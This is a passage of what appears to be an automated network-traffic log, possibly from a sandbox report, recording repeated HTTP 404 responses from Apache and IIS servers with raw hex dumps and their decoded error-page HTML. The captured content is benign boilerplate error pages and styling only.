30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 19 Oct 2024 10:57:46 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 19 Oct 2024 10:57:49 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 19 Oct 2024 10:57:51 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 19 Oct 2024 10:57:54 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></htm
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Set-Cookie: _d_id=a671d5211e16a0470c6885ef782ea8; Path=/; HttpOnly; SameSite=LaxDate: Sat, 19 Oct 2024 10:58:13 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Set-Cookie: _d_id=a673d5211e16a0470c6885ef782ea8; Path=/; HttpOnly; SameSite=LaxDate: Sat, 19 Oct 2024 10:58:16 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Set-Cookie: _d_id=a675d5211e16a0470c6885ef782ea8; Path=/; HttpOnly; SameSite=LaxDate: Sat, 19 Oct 2024 10:58:18 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 